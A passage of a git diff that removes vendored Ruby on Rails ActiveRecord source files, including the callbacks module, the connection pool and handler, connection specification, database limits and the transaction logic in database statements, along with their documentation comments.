-  #     after_initialize EncryptionWrapper.new("credit_card_number")
-  #   end
-  #
-  #   class EncryptionWrapper
-  #     def initialize(attribute)
-  #       @attribute = attribute
-  #     end
-  #
-  #     def before_save(record)
-  #       record.send("#{@attribute}=", encrypt(record.send("#{@attribute}")))
-  #     end
-  #
-  #     def after_save(record)
-  #       record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
-  #     end
-  #
-  #     alias_method :after_find, :after_save
-  #
-  #     private
-  #       def encrypt(value)
-  #         # Secrecy is committed
-  #       end
-  #
-  #       def decrypt(value)
-  #         # Secrecy is unveiled
-  #       end
-  #   end
-  #
-  # The callback macros usually accept a symbol for the method they're supposed to run, but you can also pass a "method string",
-  # which will then be evaluated within the binding of the callback. Example:
-  #
-  #   class Topic < ActiveRecord::Base
-  #     before_destroy 'self.class.delete_all "parent_id = #{id}"'
-  #   end
-  #
-  # Notice that single quotes (') are used so the <tt>#{id}</tt> part isn't evaluated until the callback is triggered. Also note that these
-  # inline callbacks can be stacked just like the regular ones:
-  #
-  #   class Topic < ActiveRecord::Base
-  #     before_destroy 'self.class.delete_all "parent_id = #{id}"',
-  #                    'puts "Evaluated after parents are destroyed"'
-  #   end
-  #
-  # == The +after_find+ and +after_initialize+ exceptions
-  #
-  # Because +after_find+ and +after_initialize+ are called for each object found and instantiated by a finder, such as <tt>Base.find(:all)</tt>, we've had
-  # to implement a simple performance constraint (50% more speed on a simple test case). Unlike all the other callbacks, +after_find+ and
-  # +after_initialize+ will only be run if an explicit implementation is defined (<tt>def after_find</tt>). In that case, all of the
-  # callback types will be called.
-  #
-  # == <tt>before_validation*</tt> returning statements
-  #
-  # If the returning value of a +before_validation+ callback can be evaluated to +false+, the process will be aborted and <tt>Base#save</tt> will return +false+.
-  # If Base#save! is called it will raise a ActiveRecord::RecordInvalid exception.
-  # Nothing will be appended to the errors object.
-  #
-  # == Canceling callbacks
-  #
-  # If a <tt>before_*</tt> callback returns +false+, all the later callbacks and the associated action are cancelled. If an <tt>after_*</tt> callback returns
-  # +false+, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks
-  # defined as methods on the model, which are called last.
-  #
-  # == Transactions
-  #
-  # The entire callback chain of a +save+, <tt>save!</tt>, or +destroy+ call runs
-  # within a transaction. That includes <tt>after_*</tt> hooks. If everything
-  # goes fine a COMMIT is executed once the chain has been completed.
-  #
-  # If a <tt>before_*</tt> callback cancels the action a ROLLBACK is issued. You
-  # can also trigger a ROLLBACK raising an exception in any of the callbacks,
-  # including <tt>after_*</tt> hooks. Note, however, that in that case the client
-  # needs to be aware of it because an ordinary +save+ will raise such exception
-  # instead of quietly returning +false+.
-  module Callbacks
-    CALLBACKS = %w(
-      after_find after_initialize before_save after_save before_create after_create before_update after_update before_validation
-      after_validation before_validation_on_create after_validation_on_create before_validation_on_update
-      after_validation_on_update before_destroy after_destroy
-    )
-
-    def self.included(base) #:nodoc:
-      base.extend Observable
-
-      [:create_or_update, :valid?, :create, :update, :destroy].each do |method|
-        base.send :alias_method_chain, method, :callbacks
-      end
-
-      base.send :include, ActiveSupport::Callbacks
-      base.define_callbacks *CALLBACKS
-    end
-
-    # Is called when the object was instantiated by one of the finders, like <tt>Base.find</tt>.
-    #def after_find() end
-
-    # Is called after the object has been instantiated by a call to <tt>Base.new</tt>.
-    #def after_initialize() end
-
-    # Is called _before_ <tt>Base.save</tt> (regardless of whether it's a +create+ or +update+ save).
-    def before_save() end
-
-    # Is called _after_ <tt>Base.save</tt> (regardless of whether it's a +create+ or +update+ save).
-    # Note that this callback is still wrapped in the transaction around +save+. For example, if you
-    # invoke an external indexer at this point it won't see the changes in the database.
-    #
-    #  class Contact < ActiveRecord::Base
-    #    after_save { logger.info( 'New contact saved!' ) }
-    #  end
-    def after_save()  end
-    def create_or_update_with_callbacks #:nodoc:
-      return false if callback(:before_save) == false
-      if result = create_or_update_without_callbacks
-        callback(:after_save)
-      end
-      result
-    end
-    private :create_or_update_with_callbacks
-
-    # Is called _before_ <tt>Base.save</tt> on new objects that haven't been saved yet (no record exists).
-    def before_create() end
-
-    # Is called _after_ <tt>Base.save</tt> on new objects that haven't been saved yet (no record exists).
-    # Note that this callback is still wrapped in the transaction around +save+. For example, if you
-    # invoke an external indexer at this point it won't see the changes in the database.
-    def after_create() end
-    def create_with_callbacks #:nodoc:
-      return false if callback(:before_create) == false
-      result = create_without_callbacks
-      callback(:after_create)
-      result
-    end
-    private :create_with_callbacks
-
-    # Is called _before_ <tt>Base.save</tt> on existing objects that have a record.
-    def before_update() end
-
-    # Is called _after_ <tt>Base.save</tt> on existing objects that have a record.
-    # Note that this callback is still wrapped in the transaction around +save+. For example, if you
-    # invoke an external indexer at this point it won't see the changes in the database.
-    def after_update() end
-
-    def update_with_callbacks(*args) #:nodoc:
-      return false if callback(:before_update) == false
-      result = update_without_callbacks(*args)
-      callback(:after_update)
-      result
-    end
-    private :update_with_callbacks
-
-    # Is called _before_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call).
-    def before_validation() end
-
-    # Is called _after_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call).
-    def after_validation() end
-
-    # Is called _before_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on new objects
-    # that haven't been saved yet (no record exists).
-    def before_validation_on_create() end
-
-    # Is called _after_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on new objects
-    # that haven't been saved yet (no record exists).
-    def after_validation_on_create()  end
-
-    # Is called _before_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on
-    # existing objects that have a record.
-    def before_validation_on_update() end
-
-    # Is called _after_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on
-    # existing objects that have a record.
-    def after_validation_on_update()  end
-
-    def valid_with_callbacks? #:nodoc:
-      return false if callback(:before_validation) == false
-      if new_record? then result = callback(:before_validation_on_create) else result = callback(:before_validation_on_update) end
-      return false if false == result
-
-      result = valid_without_callbacks?
-
-      callback(:after_validation)
-      if new_record? then callback(:after_validation_on_create) else callback(:after_validation_on_update) end
-
-      return result
-    end
-
-    # Is called _before_ <tt>Base.destroy</tt>.
-    #
-    # Note: If you need to _destroy_ or _nullify_ associated records first,
-    # use the <tt>:dependent</tt> option on your associations.
-    def before_destroy() end
-
-    # Is called _after_ <tt>Base.destroy</tt> (and all the attributes have been frozen).
-    #
-    #  class Contact < ActiveRecord::Base
-    #    after_destroy { |record| logger.info( "Contact #{record.id} was destroyed." ) }
-    #  end
-    def after_destroy()  end
-    def destroy_with_callbacks #:nodoc:
-      return false if callback(:before_destroy) == false
-      result = destroy_without_callbacks
-      callback(:after_destroy)
-      result
-    end
-
-    private
-      def callback(method)
-        result = run_callbacks(method) { |result, object| false == result }
-
-        if result != false && respond_to_without_attributes?(method)
-          result = send(method)
-        end
-
-        notify(method)
-
-        return result
-      end
-
-      def notify(method) #:nodoc:
-        self.class.changed
-        self.class.notify_observers(method, self)
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
deleted file mode 100644
index aac84cc5..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ /dev/null
@@ -1,371 +0,0 @@
-require 'monitor'
-require 'set'
-
-module ActiveRecord
-  # Raised when a connection could not be obtained within the connection
-  # acquisition timeout period.
-  class ConnectionTimeoutError < ConnectionNotEstablished
-  end
-
-  module ConnectionAdapters
-    # Connection pool base class for managing ActiveRecord database
-    # connections.
-    #
-    # == Introduction
-    #
-    # A connection pool synchronizes thread access to a limited number of
-    # database connections. The basic idea is that each thread checks out a
-    # database connection from the pool, uses that connection, and checks the
-    # connection back in. ConnectionPool is completely thread-safe, and will
-    # ensure that a connection cannot be used by two threads at the same time,
-    # as long as ConnectionPool's contract is correctly followed. It will also
-    # handle cases in which there are more threads than connections: if all
-    # connections have been checked out, and a thread tries to checkout a
-    # connection anyway, then ConnectionPool will wait until some other thread
-    # has checked in a connection.
-    #
-    # == Obtaining (checking out) a connection
-    #
-    # Connections can be obtained and used from a connection pool in several
-    # ways:
-    #
-    # 1. Simply use ActiveRecord::Base.connection as with ActiveRecord 2.1 and
-    #    earlier (pre-connection-pooling). Eventually, when you're done with
-    #    the connection(s) and wish it to be returned to the pool, you call
-    #    ActiveRecord::Base.clear_active_connections!. This will be the
-    #    default behavior for ActiveRecord when used in conjunction with
-    #    ActionPack's request handling cycle.
-    # 2. Manually check out a connection from the pool with
-    #    ActiveRecord::Base.connection_pool.checkout. You are responsible for
-    #    returning this connection to the pool when finished by calling
-    #    ActiveRecord::Base.connection_pool.checkin(connection).
-    # 3. Use ActiveRecord::Base.connection_pool.with_connection(&block), which
-    #    obtains a connection, yields it as the sole argument to the block,
-    #    and returns it to the pool after the block completes.
-    #
-    # Connections in the pool are actually AbstractAdapter objects (or objects
-    # compatible with AbstractAdapter's interface).
-    #
-    # == Options
-    #
-    # There are two connection-pooling-related options that you can add to
-    # your database connection configuration:
-    #
-    # * +pool+: number indicating size of connection pool (default 5)
-    # * +wait_timeout+: number of seconds to block and wait for a connection
-    #   before giving up and raising a timeout error (default 5 seconds).
-    class ConnectionPool
-      attr_reader :spec
-
-      # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
-      # object which describes database connection information (e.g. adapter,
-      # host name, username, password, etc), as well as the maximum size for
-      # this ConnectionPool.
-      #
-      # The default ConnectionPool maximum size is 5.
-      def initialize(spec)
-        @spec = spec
-
-        # The cache of reserved connections mapped to threads
-        @reserved_connections = {}
-
-        # The mutex used to synchronize pool access
-        @connection_mutex = Monitor.new
-        @queue = @connection_mutex.new_cond
-
-        # default 5 second timeout unless on ruby 1.9
-        @timeout =
-          if RUBY_VERSION < '1.9'
-            spec.config[:wait_timeout] || 5
-          end
-
-        # default max pool size to 5
-        @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
-
-        @connections = []
-        @checked_out = []
-      end
-
-      # Retrieve the connection associated with the current thread, or call
-      # #checkout to obtain one if necessary.
-      #
-      # #connection can be called any number of times; the connection is
-      # held in a hash keyed by the thread id.
-      def connection
-        if conn = @reserved_connections[current_connection_id]
-          conn
-        else
-          @reserved_connections[current_connection_id] = checkout
-        end
-      end
-
-      # Signal that the thread is finished with the current connection.
-      # #release_connection releases the connection-thread association
-      # and returns the connection to the pool.
-      def release_connection
-        conn = @reserved_connections.delete(current_connection_id)
-        checkin conn if conn
-      end
-
-      # Reserve a connection, and yield it to a block. Ensure the connection is
-      # checked back in when finished.
-      def with_connection
-        conn = checkout
-        yield conn
-      ensure
-        checkin conn
-      end
-
-      # Returns true if a connection has already been opened.
-      def connected?
-        !@connections.empty?
-      end
-
-      # Disconnects all connections in the pool, and clears the pool.
-      def disconnect!
-        @reserved_connections.each do |name,conn|
-          checkin conn
-        end
-        @reserved_connections = {}
-        @connections.each do |conn|
-          conn.disconnect!
-        end
-        @connections = []
-      end
-
-      # Clears the cache which maps classes
-      def clear_reloadable_connections!
-        @reserved_connections.each do |name, conn|
-          checkin conn
-        end
-        @reserved_connections = {}
-        @connections.each do |conn|
-          conn.disconnect! if conn.requires_reloading?
-        end
-        @connections = []
-      end
-
-      # Verify active connections and remove and disconnect connections
-      # associated with stale threads.
-      def verify_active_connections! #:nodoc:
-        clear_stale_cached_connections!
-        @connections.each do |connection|
-          connection.verify!
-        end
-      end
-
-      # Return any checked-out connections back to the pool by threads that
-      # are no longer alive.
-      def clear_stale_cached_connections!
-        remove_stale_cached_threads!(@reserved_connections) do |name, conn|
-          checkin conn
-        end
-      end
-
-      # Check-out a database connection from the pool, indicating that you want
-      # to use it. You should call #checkin when you no longer need this.
-      #
-      # This is done by either returning an existing connection, or by creating
-      # a new connection. If the maximum number of connections for this pool has
-      # already been reached, but the pool is empty (i.e. they're all being used),
-      # then this method will wait until a thread has checked in a connection.
-      # The wait time is bounded however: if no connection can be checked out
-      # within the timeout specified for this pool, then a ConnectionTimeoutError
-      # exception will be raised.
-      #
-      # Returns: an AbstractAdapter object.
-      #
-      # Raises:
-      # - ConnectionTimeoutError: no connection can be obtained from the pool
-      #   within the timeout period.
-      def checkout
-        # Checkout an available connection
-        @connection_mutex.synchronize do
-          loop do
-            conn = if @checked_out.size < @connections.size
-                     checkout_existing_connection
-                   elsif @connections.size < @size
-                     checkout_new_connection
-                   end
-            return conn if conn
-            # No connections available; wait for one
-            if @queue.wait(@timeout)
-              next
-            else
-              # try looting dead threads
-              clear_stale_cached_connections!
-              if @size == @checked_out.size
-                raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}.  The max pool size is currently #{@size}; consider increasing it."
-              end
-            end
-          end
-        end
-      end
-
-      # Check-in a database connection back into the pool, indicating that you
-      # no longer need this connection.
-      #
-      # +conn+: an AbstractAdapter object, which was obtained by earlier by
-      # calling +checkout+ on this pool.
-      def checkin(conn)
-        @connection_mutex.synchronize do
-          conn.run_callbacks :checkin
-          @checked_out.delete conn
-          @queue.signal
-        end
-      end
-
-      synchronize :clear_reloadable_connections!, :verify_active_connections!,
-        :connected?, :disconnect!, :with => :@connection_mutex
-
-      private
-      def new_connection
-        ActiveRecord::Base.send(spec.adapter_method, spec.config)
-      end
-
-      def current_connection_id #:nodoc:
-        Thread.current.object_id
-      end
-
-      # Remove stale threads from the cache.
-      def remove_stale_cached_threads!(cache, &block)
-        keys = Set.new(cache.keys)
-
-        Thread.list.each do |thread|
-          keys.delete(thread.object_id) if thread.alive?
-        end
-        keys.each do |key|
-          next unless cache.has_key?(key)
-          block.call(key, cache[key])
-          cache.delete(key)
-        end
-      end
-
-      def checkout_new_connection
-        c = new_connection
-        @connections << c
-        checkout_and_verify(c)
-      end
-
-      def checkout_existing_connection
-        c = (@connections - @checked_out).first
-        checkout_and_verify(c)
-      end
-
-      def checkout_and_verify(c)
-        c.verify!
-        c.run_callbacks :checkout
-        @checked_out << c
-        c
-      end
-    end
-
-    # ConnectionHandler is a collection of ConnectionPool objects. It is used
-    # for keeping separate connection pools for ActiveRecord models that connect
-    # to different databases.
-    #
-    # For example, suppose that you have 5 models, with the following hierarchy:
-    #
-    #  |
-    #  +-- Book
-    #  |    |
-    #  |    +-- ScaryBook
-    #  |    +-- GoodBook
-    #  +-- Author
-    #  +-- BankAccount
-    #
-    # Suppose that Book is to connect to a separate database (i.e. one other
-    # than the default database). Then Book, ScaryBook and GoodBook will all use
-    # the same connection pool. Likewise, Author and BankAccount will use the
-    # same connection pool. However, the connection pool used by Author/BankAccount
-    # is not the same as the one used by Book/ScaryBook/GoodBook.
-    #
-    # Normally there is only a single ConnectionHandler instance, accessible via
-    # ActiveRecord::Base.connection_handler. ActiveRecord models use this to
-    # determine that connection pool that they should use.
-    class ConnectionHandler
-      def initialize(pools = {})
-        @connection_pools = pools
-      end
-
-      def connection_pools
-        @connection_pools ||= {}
-      end
-
-      def establish_connection(name, spec)
-        @connection_pools[name] = ConnectionAdapters::ConnectionPool.new(spec)
-      end
-
-      # Returns any connections in use by the current thread back to the pool,
-      # and also returns connections to the pool cached by threads that are no
-      # longer alive.
-      def clear_active_connections!
-        @connection_pools.each_value {|pool| pool.release_connection }
-      end
-
-      # Clears the cache which maps classes
-      def clear_reloadable_connections!
-        @connection_pools.each_value {|pool| pool.clear_reloadable_connections! }
-      end
-
-      def clear_all_connections!
-        @connection_pools.each_value {|pool| pool.disconnect! }
-      end
-
-      # Verify active connections.
-      def verify_active_connections! #:nodoc:
-        @connection_pools.each_value {|pool| pool.verify_active_connections! }
-      end
-
-      # Locate the connection of the nearest super class. This can be an
-      # active or defined connection: if it is the latter, it will be
-      # opened and set as the active connection for the class it was defined
-      # for (not necessarily the current class).
-      def retrieve_connection(klass) #:nodoc:
-        pool = retrieve_connection_pool(klass)
-        (pool && pool.connection) or raise ConnectionNotEstablished
-      end
-
-      # Returns true if a connection that's accessible to this class has
-      # already been opened.
-      def connected?(klass)
-        conn = retrieve_connection_pool(klass)
-        conn ? conn.connected? : false
-      end
-
-      # Remove the connection for this class. This will close the active
-      # connection and the defined connection (if they exist). The result
-      # can be used as an argument for establish_connection, for easily
-      # re-establishing the connection.
-      def remove_connection(klass)
-        pool = @connection_pools[klass.name]
-        @connection_pools.delete_if { |key, value| value == pool }
-        pool.disconnect! if pool
-        pool.spec.config if pool
-      end
-
-      def retrieve_connection_pool(klass)
-        pool = @connection_pools[klass.name]
-        return pool if pool
-        return nil if ActiveRecord::Base == klass
-        retrieve_connection_pool klass.superclass
-      end
-    end
-
-    class ConnectionManagement
-      def initialize(app)
-        @app = app
-      end
-
-      def call(env)
-        @app.call(env)
-      ensure
-        # Don't return connection (and peform implicit rollback) if
-        # this request is a part of integration test
-        unless env.key?("rack.test")
-          ActiveRecord::Base.clear_active_connections!
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
deleted file mode 100644
index 535498f1..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-module ActiveRecord
-  class Base
-    class ConnectionSpecification #:nodoc:
-      attr_reader :config, :adapter_method
-      def initialize (config, adapter_method)
-        @config, @adapter_method = config, adapter_method
-      end
-    end
-
-    ##
-    # :singleton-method:
-    # The connection handler
-    class_attribute :connection_handler
-    self.connection_handler = ConnectionAdapters::ConnectionHandler.new
-
-    # Returns the connection currently associated with the class. This can
-    # also be used to "borrow" the connection to do database work that isn't
-    # easily done without going straight to SQL.
-    def connection
-      self.class.connection
-    end
-
-    # Establishes the connection to the database. Accepts a hash as input where
-    # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
-    # example for regular databases (MySQL, Postgresql, etc):
-    #
-    #   ActiveRecord::Base.establish_connection(
-    #     :adapter  => "mysql",
-    #     :host     => "localhost",
-    #     :username => "myuser",
-    #     :password => "mypass",
-    #     :database => "somedatabase"
-    #   )
-    #
-    # Example for SQLite database:
-    #
-    #   ActiveRecord::Base.establish_connection(
-    #     :adapter => "sqlite",
-    #     :database  => "path/to/dbfile"
-    #   )
-    #
-    # Also accepts keys as strings (for parsing from YAML for example):
-    #
-    #   ActiveRecord::Base.establish_connection(
-    #     "adapter" => "sqlite",
-    #     "database"  => "path/to/dbfile"
-    #   )
-    #
-    # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
-    # may be returned on an error.
-    def self.establish_connection(spec = nil)
-      case spec
-        when nil
-          raise AdapterNotSpecified unless defined? RAILS_ENV
-          establish_connection(RAILS_ENV)
-        when ConnectionSpecification
-          self.connection_handler.establish_connection(name, spec)
-        when Symbol, String
-          if configuration = configurations[spec.to_s]
-            establish_connection(configuration)
-          else
-            raise AdapterNotSpecified, "#{spec} database is not configured"
-          end
-        else
-          spec = spec.symbolize_keys
-          unless spec.key?(:adapter) then raise AdapterNotSpecified, "database configuration does not specify adapter" end
-
-          begin
-            require 'rubygems'
-            gem "activerecord-#{spec[:adapter]}-adapter"
-            require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
-          rescue LoadError
-            begin
-              require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
-            rescue LoadError
-              raise "Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{$!})"
-            end
-          end
-
-          adapter_method = "#{spec[:adapter]}_connection"
-          if !respond_to?(adapter_method)
-            raise AdapterNotFound, "database configuration specifies nonexistent #{spec[:adapter]} adapter"
-          end
-
-          remove_connection
-          establish_connection(ConnectionSpecification.new(spec, adapter_method))
-      end
-    end
-
-    class << self
-      # Deprecated and no longer has any effect.
-      def allow_concurrency
-        ActiveSupport::Deprecation.warn("ActiveRecord::Base.allow_concurrency has been deprecated and no longer has any effect. Please remove all references to allow_concurrency.")
-      end
-
-      # Deprecated and no longer has any effect.
-      def allow_concurrency=(flag)
-        ActiveSupport::Deprecation.warn("ActiveRecord::Base.allow_concurrency= has been deprecated and no longer has any effect. Please remove all references to allow_concurrency=.")
-      end
-
-      # Deprecated and no longer has any effect.
-      def verification_timeout
-        ActiveSupport::Deprecation.warn("ActiveRecord::Base.verification_timeout has been deprecated and no longer has any effect. Please remove all references to verification_timeout.")
-      end
-
-      # Deprecated and no longer has any effect.
-      def verification_timeout=(flag)
-        ActiveSupport::Deprecation.warn("ActiveRecord::Base.verification_timeout= has been deprecated and no longer has any effect. Please remove all references to verification_timeout=.")
-      end
-
-      # Returns the connection currently associated with the class. This can
-      # also be used to "borrow" the connection to do database work unrelated
-      # to any of the specific Active Records.
-      def connection
-        retrieve_connection
-      end
-
-      def connection_pool
-        connection_handler.retrieve_connection_pool(self)
-      end
-
-      def retrieve_connection
-        connection_handler.retrieve_connection(self)
-      end
-
-      # Returns true if +ActiveRecord+ is connected.
-      def connected?
-        connection_handler.connected?(self)
-      end
-
-      def remove_connection(klass = self)
-        connection_handler.remove_connection(klass)
-      end
-
-      delegate :clear_active_connections!, :clear_reloadable_connections!,
-        :clear_all_connections!,:verify_active_connections!, :to => :connection_handler
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
deleted file mode 100644
index 4118ea7b..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters # :nodoc:
-    module DatabaseLimits
-
-      # the maximum length of a table alias
-      def table_alias_length
-        255
-      end
-
-      # the maximum length of a column name
-      def column_name_length
-        64
-      end
-
-      # the maximum length of a table name
-      def table_name_length
-        64
-      end
-
-      # the maximum length of an index name
-      def index_name_length
-        64
-      end
-
-      # the maximum number of columns per table
-      def columns_per_table
-        1024
-      end
-
-      # the maximum number of indexes per table
-      def indexes_per_table
-        16
-      end
-
-      # the maximum number of columns in a multicolumn index
-      def columns_per_multicolumn_index
-        16
-      end
-
-      # the maximum number of elements in an IN (x,y,z) clause
-      def in_clause_length
-        65535
-      end
-
-      # the maximum length of a SQL query
-      def sql_query_length
-        1048575
-      end
-
-      # maximum number of joins in a single query
-      def joins_per_query
-        256
-      end
-
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
deleted file mode 100644
index 08601da0..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ /dev/null
@@ -1,289 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters # :nodoc:
-    module DatabaseStatements
-      # Returns an array of record hashes with the column names as keys and
-      # column values as values.
-      def select_all(sql, name = nil)
-        select(sql, name)
-      end
-
-      # Returns a record hash with the column names as keys and column values
-      # as values.
-      def select_one(sql, name = nil)
-        result = select_all(sql, name)
-        result.first if result
-      end
-
-      # Returns a single value from a record
-      def select_value(sql, name = nil)
-        if result = select_one(sql, name)
-          result.values.first
-        end
-      end
-
-      # Returns an array of the values of the first column in a select:
-      #   select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
-      def select_values(sql, name = nil)
-        result = select_rows(sql, name)
-        result.map { |v| v[0] }
-      end
-
-      # Returns an array of arrays containing the field values.
-      # Order is the same as that returned by +columns+.
-      def select_rows(sql, name = nil)
-      end
-      undef_method :select_rows
-
-      # Executes the SQL statement in the context of this connection.
-      def execute(sql, name = nil, skip_logging = false)
-      end
-      undef_method :execute
-
-      # Returns the last auto-generated ID from the affected table.
-      def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
-        insert_sql(sql, name, pk, id_value, sequence_name)
-      end
-
-      # Executes the update statement and returns the number of rows affected.
-      def update(sql, name = nil)
-        update_sql(sql, name)
-      end
-
-      # Executes the delete statement and returns the number of rows affected.
-      def delete(sql, name = nil)
-        delete_sql(sql, name)
-      end
-      
-      # Checks whether there is currently no transaction active. This is done
-      # by querying the database driver, and does not use the transaction
-      # house-keeping information recorded by #increment_open_transactions and
-      # friends.
-      #
-      # Returns true if there is no transaction active, false if there is a
-      # transaction active, and nil if this information is unknown.
-      #
-      # Not all adapters supports transaction state introspection. Currently,
-      # only the PostgreSQL adapter supports this.
-      def outside_transaction?
-        nil
-      end
-
-      # Runs the given block in a database transaction, and returns the result
-      # of the block.
-      #
-      # == Nested transactions support
-      #
-      # Most databases don't support true nested transactions. At the time of
-      # writing, the only database that supports true nested transactions that
-      # we're aware of, is MS-SQL.
-      #
-      # In order to get around this problem, #transaction will emulate the effect
-      # of nested transactions, by using savepoints:
-      # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html
-      # Savepoints are supported by MySQL and PostgreSQL, but not SQLite3.
-      #
-      # It is safe to call this method if a database transaction is already open,
-      # i.e. if #transaction is called within another #transaction block. In case
-      # of a nested call, #transaction will behave as follows:
-      #
-      # - The block will be run without doing anything. All database statements
-      #   that happen within the block are effectively appended to the already
-      #   open database transaction.
-      # - However, if +:requires_new+ is set, the block will be wrapped in a
-      #   database savepoint acting as a sub-transaction.
-      #
-      # === Caveats
-      #
-      # MySQL doesn't support DDL transactions. If you perform a DDL operation,
-      # then any created savepoints will be automatically released. For example,
-      # if you've created a savepoint, then you execute a CREATE TABLE statement,
-      # then the savepoint that was created will be automatically released.
-      #
-      # This means that, on MySQL, you shouldn't execute DDL operations inside
-      # a #transaction call that you know might create a savepoint. Otherwise,
-      # #transaction will raise exceptions when it tries to release the
-      # already-automatically-released savepoints:
-      #
-      #   Model.connection.transaction do  # BEGIN
-      #     Model.connection.transaction(:requires_new => true) do  # CREATE SAVEPOINT active_record_1
-      #       Model.connection.create_table(...)
-      #       # active_record_1 now automatically released
-      #     end  # RELEASE SAVEPOINT active_record_1  <--- BOOM! database error!
-      #   end
-      def transaction(options = {})
-        options.assert_valid_keys :requires_new, :joinable
-
-        last_transaction_joinable = @transaction_joinable
-        if options.has_key?(:joinable)
-          @transaction_joinable = options[:joinable]
-        else
-          @transaction_joinable = true
-        end
-        requires_new = options[:requires_new] || !last_transaction_joinable
-
-        transaction_open = false
-        begin
-          if block_given?
-            if requires_new || open_transactions == 0
-              if open_transactions == 0
-                begin_db_transaction
-              elsif requires_new
-                create_savepoint
-              end
-              increment_open_transactions
-              transaction_open = true
-            end
-            yield
-          end
-        rescue Exception => database_transaction_rollback
-          if transaction_open && !outside_transaction?
-            transaction_open = false
-            decrement_open_transactions
-            if open_transactions == 0
-              rollback_db_transaction
-            else
-              rollback_to_savepoint
-            end
-          end
-          raise unless database_transaction_rollback.is_a?(ActiveRecord::Rollback)
-        end
-      ensure
-        @transaction_joinable = last_transaction_joinable
-
-        if outside_transaction?
-          @open_transactions = 0
-        elsif transaction_open
-          decrement_open_transactions
-          begin
-            if open_transactions == 0
-              commit_db_transaction
-            else
-              release_savepoint
-            end
-          rescue Exception => database_transaction_rollback
-            if open_transactions == 0
-              rollback_db_transaction
-            else
-              rollback_to_savepoint
-            end
-            raise
-          end
-        end
-      end
-      
-      # Begins the transaction (and turns off auto-committing).
-      def begin_db_transaction()    end
-
-      # Commits the transaction (and turns on auto-committing).
-      def commit_db_transaction()   end
-
-      # Rolls back the transaction (and turns on auto-committing). Must be
-      # done if the transaction block raises an exception or returns false.
-      def rollback_db_transaction() end
-
-      # Alias for <tt>add_limit_offset!</tt>.
-      def add_limit!(sql, options)
-        add_limit_offset!(sql, options) if options
-      end
-
-      # Appends +LIMIT+ and +OFFSET+ options to an SQL statement, or some SQL
-      # fragment that has the same semantics as LIMIT and OFFSET.
-      #
-      # +options+ must be a Hash which contains a +:limit+ option (required)
-      # and an +:offset+ option (optional).
-      #
-      # This method *modifies* the +sql+ parameter.
-      #
-      # ===== Examples
-      #  add_limit_offset!('SELECT * FROM suppliers', {:limit => 10, :offset => 50})
-      # generates
-      #  SELECT * FROM suppliers LIMIT 10 OFFSET 50
-      def add_limit_offset!(sql, options)
-        if limit = options[:limit]
-          sql << " LIMIT #{sanitize_limit(limit)}"
-          if offset = options[:offset]
-            sql << " OFFSET #{offset.to_i}"
-          end
-        end
-        sql
-      end
-
-      # Appends a locking clause to an SQL statement.
-      # This method *modifies* the +sql+ parameter.
-      #   # SELECT * FROM suppliers FOR UPDATE
-      #   add_lock! 'SELECT * FROM suppliers', :lock => true
-      #   add_lock! 'SELECT * FROM suppliers', :lock => ' FOR UPDATE'
-      def add_lock!(sql, options)
-        case lock = options[:lock]
-          when true;   sql << ' FOR UPDATE'
-          when String; sql << " #{lock}"
-        end
-      end
-
-      def default_sequence_name(table, column)
-        nil
-      end
-
-      # Set the sequence to the max value of the table's column.
-      def reset_sequence!(table, column, sequence = nil)
-        # Do nothing by default.  Implement for PostgreSQL, Oracle, ...
-      end
-
-      # Inserts the given fixture into the table. Overridden in adapters that require
-      # something beyond a simple insert (eg. Oracle).
-      def insert_fixture(fixture, table_name)
-        execute "INSERT INTO #{quote_table_name(table_name)} (#{fixture.key_list}) VALUES (#{fixture.value_list})", 'Fixture Insert'
-      end
-
-      def empty_insert_statement(table_name)
-        "INSERT INTO #{quote_table_name(table_name)} VALUES(DEFAULT)"
-      end
-
-      def case_sensitive_equality_operator
-        "="
-      end
-
-      def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
-        "WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
-      end
-
-      protected
-        # Returns an array of record hashes with the column names as keys and
-        # column values as values.
-        def select(sql, name = nil)
-        end
